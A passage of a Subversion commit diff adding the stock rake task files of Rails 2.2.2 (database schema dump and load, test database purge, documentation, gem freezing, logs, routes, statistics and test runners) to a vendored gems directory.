+      puts %Q(The fixture ID for "#{label}" is #{Fixtures.identify(label)}.) if label
+
+      base_dir = ENV['FIXTURES_PATH'] ? File.join(Rails.root, ENV['FIXTURES_PATH']) : File.join(Rails.root, 'test', 'fixtures')
+      Dir["#{base_dir}/**/*.yml"].each do |file|
+        if data = YAML::load(ERB.new(IO.read(file)).result)
+          data.keys.each do |key|
+            key_id = Fixtures.identify(key)
+
+            if key == label || key_id == id.to_i
+              puts "#{file}: #{key} (#{key_id})"
+            end
+          end
+        end
+      end
+    end
+  end
+
+  namespace :schema do
+    desc "Create a db/schema.rb file that can be portably used against any DB supported by AR"
+    task :dump => :environment do
+      require 'active_record/schema_dumper'
+      File.open(ENV['SCHEMA'] || "#{RAILS_ROOT}/db/schema.rb", "w") do |file|
+        ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, file)
+      end
+    end
+
+    desc "Load a schema.rb file into the database"
+    task :load => :environment do
+      file = ENV['SCHEMA'] || "#{RAILS_ROOT}/db/schema.rb"
+      load(file)
+    end
+  end
+
+  namespace :structure do
+    desc "Dump the database structure to a SQL file"
+    task :dump => :environment do
+      abcs = ActiveRecord::Base.configurations
+      case abcs[RAILS_ENV]["adapter"]
+      when "mysql", "oci", "oracle"
+        ActiveRecord::Base.establish_connection(abcs[RAILS_ENV])
+        File.open("#{RAILS_ROOT}/db/#{RAILS_ENV}_structure.sql", "w+") { |f| f << ActiveRecord::Base.connection.structure_dump }
+      when "postgresql"
+        ENV['PGHOST']     = abcs[RAILS_ENV]["host"] if abcs[RAILS_ENV]["host"]
+        ENV['PGPORT']     = abcs[RAILS_ENV]["port"].to_s if abcs[RAILS_ENV]["port"]
+        ENV['PGPASSWORD'] = abcs[RAILS_ENV]["password"].to_s if abcs[RAILS_ENV]["password"]
+        search_path = abcs[RAILS_ENV]["schema_search_path"]
+        search_path = "--schema=#{search_path}" if search_path
+        `pg_dump -i -U "#{abcs[RAILS_ENV]["username"]}" -s -x -O -f db/#{RAILS_ENV}_structure.sql #{search_path} #{abcs[RAILS_ENV]["database"]}`
+        raise "Error dumping database" if $?.exitstatus == 1
+      when "sqlite", "sqlite3"
+        dbfile = abcs[RAILS_ENV]["database"] || abcs[RAILS_ENV]["dbfile"]
+        `#{abcs[RAILS_ENV]["adapter"]} #{dbfile} .schema > db/#{RAILS_ENV}_structure.sql`
+      when "sqlserver"
+        `scptxfr /s #{abcs[RAILS_ENV]["host"]} /d #{abcs[RAILS_ENV]["database"]} /I /f db\\#{RAILS_ENV}_structure.sql /q /A /r`
+        `scptxfr /s #{abcs[RAILS_ENV]["host"]} /d #{abcs[RAILS_ENV]["database"]} /I /F db\ /q /A /r`
+      when "firebird"
+        set_firebird_env(abcs[RAILS_ENV])
+        db_string = firebird_db_string(abcs[RAILS_ENV])
+        sh "isql -a #{db_string} > #{RAILS_ROOT}/db/#{RAILS_ENV}_structure.sql"
+      else
+        raise "Task not supported by '#{abcs["test"]["adapter"]}'"
+      end
+
+      if ActiveRecord::Base.connection.supports_migrations?
+        File.open("#{RAILS_ROOT}/db/#{RAILS_ENV}_structure.sql", "a") { |f| f << ActiveRecord::Base.connection.dump_schema_information }
+      end
+    end
+  end
+
+  namespace :test do
+    desc "Recreate the test database from the current schema.rb"
+    task :load => 'db:test:purge' do
+      ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations['test'])
+      ActiveRecord::Schema.verbose = false
+      Rake::Task["db:schema:load"].invoke
+    end
+
+    desc "Recreate the test database from the current environment's database schema"
+    task :clone => %w(db:schema:dump db:test:load)
+
+    desc "Recreate the test databases from the development structure"
+    task :clone_structure => [ "db:structure:dump", "db:test:purge" ] do
+      abcs = ActiveRecord::Base.configurations
+      case abcs["test"]["adapter"]
+      when "mysql"
+        ActiveRecord::Base.establish_connection(:test)
+        ActiveRecord::Base.connection.execute('SET foreign_key_checks = 0')
+        IO.readlines("#{RAILS_ROOT}/db/#{RAILS_ENV}_structure.sql").join.split("\n\n").each do |table|
+          ActiveRecord::Base.connection.execute(table)
+        end
+      when "postgresql"
+        ENV['PGHOST']     = abcs["test"]["host"] if abcs["test"]["host"]
+        ENV['PGPORT']     = abcs["test"]["port"].to_s if abcs["test"]["port"]
+        ENV['PGPASSWORD'] = abcs["test"]["password"].to_s if abcs["test"]["password"]
+        `psql -U "#{abcs["test"]["username"]}" -f #{RAILS_ROOT}/db/#{RAILS_ENV}_structure.sql #{abcs["test"]["database"]}`
+      when "sqlite", "sqlite3"
+        dbfile = abcs["test"]["database"] || abcs["test"]["dbfile"]
+        `#{abcs["test"]["adapter"]} #{dbfile} < #{RAILS_ROOT}/db/#{RAILS_ENV}_structure.sql`
+      when "sqlserver"
+        `osql -E -S #{abcs["test"]["host"]} -d #{abcs["test"]["database"]} -i db\\#{RAILS_ENV}_structure.sql`
+      when "oci", "oracle"
+        ActiveRecord::Base.establish_connection(:test)
+        IO.readlines("#{RAILS_ROOT}/db/#{RAILS_ENV}_structure.sql").join.split(";\n\n").each do |ddl|
+          ActiveRecord::Base.connection.execute(ddl)
+        end
+      when "firebird"
+        set_firebird_env(abcs["test"])
+        db_string = firebird_db_string(abcs["test"])
+        sh "isql -i #{RAILS_ROOT}/db/#{RAILS_ENV}_structure.sql #{db_string}"
+      else
+        raise "Task not supported by '#{abcs["test"]["adapter"]}'"
+      end
+    end
+
+    desc "Empty the test database"
+    task :purge => :environment do
+      abcs = ActiveRecord::Base.configurations
+      case abcs["test"]["adapter"]
+      when "mysql"
+        ActiveRecord::Base.establish_connection(:test)
+        ActiveRecord::Base.connection.recreate_database(abcs["test"]["database"], abcs["test"])
+      when "postgresql"
+        ActiveRecord::Base.clear_active_connections!
+        drop_database(abcs['test'])
+        create_database(abcs['test'])
+      when "sqlite","sqlite3"
+        dbfile = abcs["test"]["database"] || abcs["test"]["dbfile"]
+        File.delete(dbfile) if File.exist?(dbfile)
+      when "sqlserver"
+        dropfkscript = "#{abcs["test"]["host"]}.#{abcs["test"]["database"]}.DP1".gsub(/\\/,'-')
+        `osql -E -S #{abcs["test"]["host"]} -d #{abcs["test"]["database"]} -i db\\#{dropfkscript}`
+        `osql -E -S #{abcs["test"]["host"]} -d #{abcs["test"]["database"]} -i db\\#{RAILS_ENV}_structure.sql`
+      when "oci", "oracle"
+        ActiveRecord::Base.establish_connection(:test)
+        ActiveRecord::Base.connection.structure_drop.split(";\n\n").each do |ddl|
+          ActiveRecord::Base.connection.execute(ddl)
+        end
+      when "firebird"
+        ActiveRecord::Base.establish_connection(:test)
+        ActiveRecord::Base.connection.recreate_database!
+      else
+        raise "Task not supported by '#{abcs["test"]["adapter"]}'"
+      end
+    end
+
+    desc 'Check for pending migrations and load the test schema'
+    task :prepare => 'db:abort_if_pending_migrations' do
+      if defined?(ActiveRecord) && !ActiveRecord::Base.configurations.blank?
+        Rake::Task[{ :sql  => "db:test:clone_structure", :ruby => "db:test:load" }[ActiveRecord::Base.schema_format]].invoke
+      end
+    end
+  end
+
+  namespace :sessions do
+    desc "Creates a sessions migration for use with CGI::Session::ActiveRecordStore"
+    task :create => :environment do
+      raise "Task unavailable to this database (no migration support)" unless ActiveRecord::Base.connection.supports_migrations?
+      require 'rails_generator'
+      require 'rails_generator/scripts/generate'
+      Rails::Generator::Scripts::Generate.new.run(["session_migration", ENV["MIGRATION"] || "CreateSessions"])
+    end
+
+    desc "Clear the sessions table"
+    task :clear => :environment do
+      ActiveRecord::Base.connection.execute "DELETE FROM #{session_table_name}"
+    end
+  end
+end
+
+def drop_database(config)
+  case config['adapter']
+  when 'mysql'
+    ActiveRecord::Base.connection.drop_database config['database']
+  when /^sqlite/
+    FileUtils.rm(File.join(RAILS_ROOT, config['database']))
+  when 'postgresql'
+    ActiveRecord::Base.establish_connection(config.merge('database' => 'postgres', 'schema_search_path' => 'public'))
+    ActiveRecord::Base.connection.drop_database config['database']
+  end
+end
+
+def session_table_name
+  ActiveRecord::Base.pluralize_table_names ? :sessions : :session
+end
+
+def set_firebird_env(config)
+  ENV["ISC_USER"]     = config["username"].to_s if config["username"]
+  ENV["ISC_PASSWORD"] = config["password"].to_s if config["password"]
+end
+
+def firebird_db_string(config)
+  FireRuby::Database.db_string_for(config.symbolize_keys)
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/documentation.rake
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/documentation.rake	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/documentation.rake	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,95 @@
+namespace :doc do
+  desc "Generate documentation for the application. Set custom template with TEMPLATE=/path/to/rdoc/template.rb or title with TITLE=\"Custom Title\""
+  Rake::RDocTask.new("app") { |rdoc|
+    rdoc.rdoc_dir = 'doc/app'
+    rdoc.template = ENV['template'] if ENV['template']
+    rdoc.title    = ENV['title'] || "Rails Application Documentation"
+    rdoc.options << '--line-numbers' << '--inline-source'
+    rdoc.options << '--charset' << 'utf-8'
+    rdoc.rdoc_files.include('doc/README_FOR_APP')
+    rdoc.rdoc_files.include('app/**/*.rb')
+    rdoc.rdoc_files.include('lib/**/*.rb')
+  }
+
+  desc "Generate documentation for the Rails framework"
+  Rake::RDocTask.new("rails") { |rdoc|
+    rdoc.rdoc_dir = 'doc/api'
+    rdoc.template = "#{ENV['template']}.rb" if ENV['template']
+    rdoc.title    = "Rails Framework Documentation"
+    rdoc.options << '--line-numbers' << '--inline-source'
+    rdoc.rdoc_files.include('README')
+    rdoc.rdoc_files.include('vendor/rails/railties/CHANGELOG')
+    rdoc.rdoc_files.include('vendor/rails/railties/MIT-LICENSE')
+    rdoc.rdoc_files.include('vendor/rails/railties/README')
+    rdoc.rdoc_files.include('vendor/rails/railties/lib/{*.rb,commands/*.rb,rails_generator/*.rb}')
+    rdoc.rdoc_files.include('vendor/rails/activerecord/README')
+    rdoc.rdoc_files.include('vendor/rails/activerecord/CHANGELOG')
+    rdoc.rdoc_files.include('vendor/rails/activerecord/lib/active_record/**/*.rb')
+    rdoc.rdoc_files.exclude('vendor/rails/activerecord/lib/active_record/vendor/*')
+    rdoc.rdoc_files.include('vendor/rails/activeresource/README')
+    rdoc.rdoc_files.include('vendor/rails/activeresource/CHANGELOG')
+    rdoc.rdoc_files.include('vendor/rails/activeresource/lib/active_resource.rb')
+    rdoc.rdoc_files.include('vendor/rails/activeresource/lib/active_resource/*')
+    rdoc.rdoc_files.include('vendor/rails/actionpack/README')
+    rdoc.rdoc_files.include('vendor/rails/actionpack/CHANGELOG')
+    rdoc.rdoc_files.include('vendor/rails/actionpack/lib/action_controller/**/*.rb')
+    rdoc.rdoc_files.include('vendor/rails/actionpack/lib/action_view/**/*.rb')
+    rdoc.rdoc_files.include('vendor/rails/actionmailer/README')
+    rdoc.rdoc_files.include('vendor/rails/actionmailer/CHANGELOG')
+    rdoc.rdoc_files.include('vendor/rails/actionmailer/lib/action_mailer/base.rb')
+    rdoc.rdoc_files.include('vendor/rails/activesupport/README')
+    rdoc.rdoc_files.include('vendor/rails/activesupport/CHANGELOG')
+    rdoc.rdoc_files.include('vendor/rails/activesupport/lib/active_support/**/*.rb')
+  }
+
+  plugins = FileList['vendor/plugins/**'].collect { |plugin| File.basename(plugin) }
+
+  desc "Generate documentation for all installed plugins"
+  task :plugins => plugins.collect { |plugin| "doc:plugins:#{plugin}" }
+
+  desc "Remove plugin documentation"
+  task :clobber_plugins do 
+    rm_rf 'doc/plugins' rescue nil
+  end
+
+  desc "Generate Rails guides"
+  task :guides do
+    source = File.join(RAILTIES_PATH, "doc/guides")
+    destination = File.join(RAILS_ROOT, "doc/guides")
+    FileUtils.rm_r(destination) if File.directory?(destination)
+    FileUtils.mkdir(destination)
+
+    FileUtils.cp_r File.join(source, 'html/.'), File.join(destination)
+    # Copy images and css files to html directory. These dirs are in .gitigore and shouldn't be source controlled.
+    FileUtils.cp_r File.join(source, 'source/images'), File.join(destination)
+    FileUtils.cp_r File.join(source, 'source/stylesheets'), File.join(destination, 'stylesheets')
+  end
+
+  namespace :plugins do
+    # Define doc tasks for each plugin
+    plugins.each do |plugin|
+      desc "Generate documentation for the #{plugin} plugin"
+      task(plugin => :environment) do
+        plugin_base   = "vendor/plugins/#{plugin}"
+        options       = []
+        files         = Rake::FileList.new
+        options << "-o doc/plugins/#{plugin}"
+        options << "--title '#{plugin.titlecase} Plugin Documentation'"
+        options << '--line-numbers' << '--inline-source'
+        options << '--charset' << 'utf-8'
+        options << '-T html'
+
+        files.include("#{plugin_base}/lib/**/*.rb")
+        if File.exist?("#{plugin_base}/README")
+          files.include("#{plugin_base}/README")    
+          options << "--main '#{plugin_base}/README'"
+        end
+        files.include("#{plugin_base}/CHANGELOG") if File.exist?("#{plugin_base}/CHANGELOG")
+
+        options << files.to_s
+
+        sh %(rdoc #{options * ' '})
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/framework.rake
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/framework.rake	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/framework.rake	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,118 @@
+namespace :rails do
+  namespace :freeze do
+    desc "Lock this application to the current gems (by unpacking them into vendor/rails)"
+    task :gems do
+      deps = %w(actionpack activerecord actionmailer activesupport activeresource)
+      require 'rubygems'
+      require 'rubygems/gem_runner'
+
+      rails = (version = ENV['VERSION']) ?
+        Gem.cache.find_name('rails', "= #{version}").first :
+        Gem.cache.find_name('rails').sort_by { |g| g.version }.last
+
+      version ||= rails.version
+
+      unless rails
+        puts "No rails gem #{version} is installed.  Do 'gem list rails' to see what you have available."
+        exit
+      end
+
+      puts "Freezing to the gems for Rails #{rails.version}"
+      rm_rf   "vendor/rails"
+      mkdir_p "vendor/rails"
+
+      begin
+        chdir("vendor/rails") do
+          rails.dependencies.select { |g| deps.include? g.name }.each do |g|
+            Gem::GemRunner.new.run(["unpack", g.name, "--version", g.version_requirements.to_s])
+            mv(Dir.glob("#{g.name}*").first, g.name)
+          end
+
+          Gem::GemRunner.new.run(["unpack", "rails", "--version", "=#{version}"])
+          FileUtils.mv(Dir.glob("rails*").first, "railties")
+        end
+      rescue Exception
+        rm_rf "vendor/rails"
+        raise
+      end
+    end
+
+    desc 'Lock to latest Edge Rails, for a specific release use RELEASE=1.2.0'
+    task :edge do
+      require 'open-uri'
+      version = ENV["RELEASE"] || "edge"
+      target  = "rails_#{version}.zip"
+      commits = "http://github.com/api/v1/yaml/rails/rails/commits/master"
+      url     = "http://dev.rubyonrails.org/archives/#{target}"
+
+      chdir 'vendor' do
+        latest_revision = YAML.load(open(commits))["commits"].first["id"]
+
+        puts "Downloading Rails from #{url}"
+        File.open('rails.zip', 'wb') do |dst|
+          open url do |src|
+            while chunk = src.read(4096)
+              dst << chunk
+            end
+          end
+        end
+
+        puts 'Unpacking Rails'
+        rm_rf 'rails'
+        `unzip rails.zip`
+        %w(rails.zip rails/Rakefile rails/cleanlogs.sh rails/pushgems.rb rails/release.rb).each do |goner|
+          rm_f goner
+        end
+
+        touch "rails/REVISION_#{latest_revision}"
+      end
+
+      puts 'Updating current scripts, javascripts, and configuration settings'
+      Rake::Task['rails:update'].invoke
+    end
+  end
+
+  desc "Unlock this application from freeze of gems or edge and return to a fluid use of system gems"
+  task :unfreeze do
+    rm_rf "vendor/rails"
+  end
+
+  desc "Update both configs, scripts and public/javascripts from Rails"
+  task :update => [ "update:scripts", "update:javascripts", "update:configs" ]
+
+  namespace :update do
+    desc "Add new scripts to the application script/ directory"
+    task :scripts do
+      local_base = "script"
+      edge_base  = "#{File.dirname(__FILE__)}/../../bin"
+
+      local = Dir["#{local_base}/**/*"].reject { |path| File.directory?(path) }
+      edge  = Dir["#{edge_base}/**/*"].reject { |path| File.directory?(path) }
+  
+      edge.each do |script|
+        base_name = script[(edge_base.length+1)..-1]
+        next if base_name == "rails"
+        next if local.detect { |path| base_name == path[(local_base.length+1)..-1] }
+        if !File.directory?("#{local_base}/#{File.dirname(base_name)}")
+          mkdir_p "#{local_base}/#{File.dirname(base_name)}"
+        end
+        install script, "#{local_base}/#{base_name}", :mode => 0755
+      end
+    end
+
+    desc "Update your javascripts from your current rails install"
+    task :javascripts do
+      require 'railties_path'  
+      project_dir = RAILS_ROOT + '/public/javascripts/'
+      scripts = Dir[RAILTIES_PATH + '/html/javascripts/*.js']
+      scripts.reject!{|s| File.basename(s) == 'application.js'} if File.exist?(project_dir + 'application.js')
+      FileUtils.cp(scripts, project_dir)
+    end
+
+    desc "Update config/boot.rb from your current rails install"
+    task :configs do
+      require 'railties_path'  
+      FileUtils.cp(RAILTIES_PATH + '/environments/boot.rb', RAILS_ROOT + '/config/boot.rb')
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/gems.rake
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/gems.rake	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/gems.rake	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,80 @@
+desc "List the gems that this rails application depends on"
+task :gems => 'gems:base' do
+  Rails.configuration.gems.each do |gem|
+    print_gem_status(gem)
+  end
+  puts
+  puts "I = Installed"
+  puts "F = Frozen"
+  puts "R = Framework (loaded before rails starts)"
+end
+
+def print_gem_status(gem, indent=1)
+  code = gem.loaded? ? (gem.frozen? ? (gem.framework_gem? ? "R" : "F") : "I") : " "
+  puts "   "*(indent-1)+" - [#{code}] #{gem.name} #{gem.requirement.to_s}"
+  gem.dependencies.each { |g| print_gem_status(g, indent+1)} if gem.loaded?
+end
+
+namespace :gems do
+  task :base do
+    $rails_gem_installer = true
+    Rake::Task[:environment].invoke
+  end
+
+  desc "Build any native extensions for unpacked gems"
+  task :build do
+    $rails_gem_installer = true
+    require 'rails/gem_builder'
+    Dir[File.join(Rails::GemDependency.unpacked_path, '*')].each do |gem_dir|
+      spec_file = File.join(gem_dir, '.specification')
+      next unless File.exists?(spec_file)
+      specification = YAML::load_file(spec_file)
+      next unless ENV['GEM'].blank? || ENV['GEM'] == specification.name
+      Rails::GemBuilder.new(specification, gem_dir).build_extensions
+      puts "Built gem: '#{gem_dir}'"
+    end
+  end
+
+  desc "Installs all required gems for this application."
+  task :install => :base do
+    require 'rubygems'
+    require 'rubygems/gem_runner'
+    Rails.configuration.gems.each { |gem| gem.install unless gem.loaded? }
+  end
+
+  desc "Unpacks the specified gem into vendor/gems."
+  task :unpack => :base do
+    require 'rubygems'
+    require 'rubygems/gem_runner'
+    Rails.configuration.gems.each do |gem|
+      next unless !gem.frozen? && (ENV['GEM'].blank? || ENV['GEM'] == gem.name)
+      gem.unpack_to(Rails::GemDependency.unpacked_path) if gem.loaded?
+    end
+  end
+
+  namespace :unpack do
+    desc "Unpacks the specified gems and its dependencies into vendor/gems"
+    task :dependencies => :unpack do
+      require 'rubygems'
+      require 'rubygems/gem_runner'
+      Rails.configuration.gems.each do |gem|
+        next unless ENV['GEM'].blank? || ENV['GEM'] == gem.name
+        gem.dependencies.each do |dependency|
+          next if dependency.frozen?
+          dependency.unpack_to(Rails::GemDependency.unpacked_path)
+        end
+      end
+    end
+  end
+
+  desc "Regenerate gem specifications in correct format."
+  task :refresh_specs => :base do
+    require 'rubygems'
+    require 'rubygems/gem_runner'
+    Rails::VendorGemSourceIndex.silence_spec_warnings = true
+    Rails.configuration.gems.each do |gem|
+      next unless gem.frozen? && (ENV['GEM'].blank? || ENV['GEM'] == gem.name)
+      gem.refresh_spec(Rails::GemDependency.unpacked_path) if gem.loaded?
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/log.rake
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/log.rake	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/log.rake	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+namespace :log do
+  desc "Truncates all *.log files in log/ to zero bytes"
+  task :clear do
+    FileList["log/*.log"].each do |log_file|
+      f = File.open(log_file, "w")
+      f.close
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/misc.rake
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/misc.rake	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/misc.rake	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,56 @@
+task :default => :test
+task :environment do
+  require(File.join(RAILS_ROOT, 'config', 'environment'))
+end
+
+desc 'Generate a crytographically secure secret key. This is typically used to generate a secret for cookie sessions.'
+task :secret do
+  puts ActiveSupport::SecureRandom.hex(64)
+end
+
+require 'active_support'
+namespace :time do
+  namespace :zones do
+    desc 'Displays names of all time zones recognized by the Rails TimeZone class, grouped by offset. Results can be filtered with optional OFFSET parameter, e.g., OFFSET=-6'
+    task :all do
+      build_time_zone_list(:all)
+    end
+    
+    desc 'Displays names of US time zones recognized by the Rails TimeZone class, grouped by offset. Results can be filtered with optional OFFSET parameter, e.g., OFFSET=-6'
+    task :us do
+      build_time_zone_list(:us_zones)
+    end
+    
+    desc 'Displays names of time zones recognized by the Rails TimeZone class with the same offset as the system local time'
+    task :local do
+      jan_offset = Time.now.beginning_of_year.utc_offset
+      jul_offset = Time.now.beginning_of_year.change(:month => 7).utc_offset
+      offset = jan_offset < jul_offset ? jan_offset : jul_offset
+      build_time_zone_list(:all, offset)
+    end
+    
+    # to find UTC -06:00 zones, OFFSET can be set to either -6, -6:00 or 21600
+    def build_time_zone_list(method, offset = ENV['OFFSET'])
+      if offset
+        offset = if offset.to_s.match(/(\+|-)?(\d+):(\d+)/)
+          sign = $1 == '-' ? -1 : 1
+          hours, minutes = $2.to_f, $3.to_f
+          ((hours * 3600) + (minutes.to_f * 60)) * sign
+        elsif offset.to_f.abs <= 13
+          offset.to_f * 3600
+        else
+          offset.to_f
+        end
+      end
+      previous_offset = nil
+      ActiveSupport::TimeZone.__send__(method).each do |zone|
+        if offset.nil? || offset == zone.utc_offset
+          puts "\n* UTC #{zone.formatted_offset} *" unless zone.utc_offset == previous_offset
+          puts zone.name
+          previous_offset = zone.utc_offset
+        end
+      end
+      puts "\n"
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/rails.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/rails.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/rails.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+$VERBOSE = nil
+
+# Load Rails rakefile extensions
+Dir["#{File.dirname(__FILE__)}/*.rake"].each { |ext| load ext }
+
+# Load any custom rakefile extensions
+Dir["#{RAILS_ROOT}/vendor/plugins/*/**/tasks/**/*.rake"].sort.each { |ext| load ext }
+Dir["#{RAILS_ROOT}/lib/tasks/**/*.rake"].sort.each { |ext| load ext }

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/routes.rake
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/routes.rake	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/routes.rake	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,17 @@
+desc 'Print out all defined routes in match order, with names.'
+task :routes => :environment do
+  routes = ActionController::Routing::Routes.routes.collect do |route|
+    name = ActionController::Routing::Routes.named_routes.routes.index(route).to_s
+    verb = route.conditions[:method].to_s.upcase
+    segs = route.segments.inject("") { |str,s| str << s.to_s }
+    segs.chop! if segs.length > 1
+    reqs = route.requirements.empty? ? "" : route.requirements.inspect
+    {:name => name, :verb => verb, :segs => segs, :reqs => reqs}
+  end
+  name_width = routes.collect {|r| r[:name]}.collect {|n| n.length}.max
+  verb_width = routes.collect {|r| r[:verb]}.collect {|v| v.length}.max
+  segs_width = routes.collect {|r| r[:segs]}.collect {|s| s.length}.max
+  routes.each do |r|
+    puts "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:segs].ljust(segs_width)} #{r[:reqs]}"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/statistics.rake
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/statistics.rake	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/statistics.rake	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,18 @@
+STATS_DIRECTORIES = [
+  %w(Controllers        app/controllers),
+  %w(Helpers            app/helpers), 
+  %w(Models             app/models),
+  %w(Libraries          lib/),
+  %w(APIs               app/apis),
+  %w(Components         components),
+  %w(Integration\ tests test/integration),
+  %w(Functional\ tests  test/functional),
+  %w(Unit\ tests        test/unit)
+
+].collect { |name, dir| [ name, "#{RAILS_ROOT}/#{dir}" ] }.select { |name, dir| File.directory?(dir) }
+
+desc "Report code statistics (KLOCs, etc) from the application"
+task :stats do
+  require 'code_statistics'
+  CodeStatistics.new(*STATS_DIRECTORIES).to_s
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/testing.rake
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/testing.rake	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/testing.rake	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,139 @@
+TEST_CHANGES_SINCE = Time.now - 600
+
+# Look up tests for recently modified sources.
+def recent_tests(source_pattern, test_path, touched_since = 10.minutes.ago)
+  FileList[source_pattern].map do |path|
+    if File.mtime(path) > touched_since
+      tests = []
+      source_dir = File.dirname(path).split("/")
+      source_file = File.basename(path, '.rb')
+      
+      # Support subdirs in app/models and app/controllers
+      modified_test_path = source_dir.length > 2 ? "#{test_path}/" << source_dir[1..source_dir.length].join('/') : test_path
+
+      # For modified files in app/ run the tests for it. ex. /test/functional/account_controller.rb
+      test = "#{modified_test_path}/#{source_file}_test.rb"
+      tests.push test if File.exist?(test)
+
+      # For modified files in app, run tests in subdirs too. ex. /test/functional/account/*_test.rb
+      test = "#{modified_test_path}/#{File.basename(path, '.rb').sub("_controller","")}"
+      FileList["#{test}/*_test.rb"].each { |f| tests.push f } if File.exist?(test)
+		
+      return tests
+
+    end
+  end.flatten.compact
+end
+
+
+# Recreated here from ActiveSupport because :uncommitted needs it before Rails is available
+module Kernel
+  def silence_stderr
+    old_stderr = STDERR.dup
+    STDERR.reopen(RUBY_PLATFORM =~ /(:?mswin|mingw)/ ? 'NUL:' : '/dev/null')
+    STDERR.sync = true
+    yield
+  ensure
+    STDERR.reopen(old_stderr)
+  end
+end
+
+desc 'Run all unit, functional and integration tests'
+task :test do
+  errors = %w(test:units test:functionals test:integration).collect do |task|
+    begin
+      Rake::Task[task].invoke
+      nil
+    rescue => e
+      task
+    end
+  end.compact
+  abort "Errors running #{errors.to_sentence}!" if errors.any?
+end
+
+namespace :test do
+  Rake::TestTask.new(:recent => "db:test:prepare") do |t|
+    since = TEST_CHANGES_SINCE
+    touched = FileList['test/**/*_test.rb'].select { |path| File.mtime(path) > since } +
+      recent_tests('app/models/**/*.rb', 'test/unit', since) +
+      recent_tests('app/controllers/**/*.rb', 'test/functional', since)
+
+    t.libs << 'test'
+    t.verbose = true
+    t.test_files = touched.uniq
+  end
+  Rake::Task['test:recent'].comment = "Test recent changes"
+  
+  Rake::TestTask.new(:uncommitted => "db:test:prepare") do |t|
+    def t.file_list
+      if File.directory?(".svn")
+        changed_since_checkin = silence_stderr { `svn status` }.map { |path| path.chomp[7 .. -1] }
+      elsif File.directory?(".git")
+        changed_since_checkin = silence_stderr { `git ls-files --modified --others` }.map { |path| path.chomp }
+      else
+        abort "Not a Subversion or Git checkout."
+      end
+
+      models      = changed_since_checkin.select { |path| path =~ /app[\\\/]models[\\\/].*\.rb$/ }
+      controllers = changed_since_checkin.select { |path| path =~ /app[\\\/]controllers[\\\/].*\.rb$/ }
+
+      unit_tests       = models.map { |model| "test/unit/#{File.basename(model, '.rb')}_test.rb" }
+      functional_tests = controllers.map { |controller| "test/functional/#{File.basename(controller, '.rb')}_test.rb" }
+
+      unit_tests.uniq + functional_tests.uniq
+    end
+    
+    t.libs << 'test'
+    t.verbose = true
+  end
+  Rake::Task['test:uncommitted'].comment = "Test changes since last checkin (only Subversion and Git)"
+
+  Rake::TestTask.new(:units => "db:test:prepare") do |t|
+    t.libs << "test"
+    t.pattern = 'test/unit/**/*_test.rb'
+    t.verbose = true
+  end
+  Rake::Task['test:units'].comment = "Run the unit tests in test/unit"
+
+  Rake::TestTask.new(:functionals => "db:test:prepare") do |t|
+    t.libs << "test"
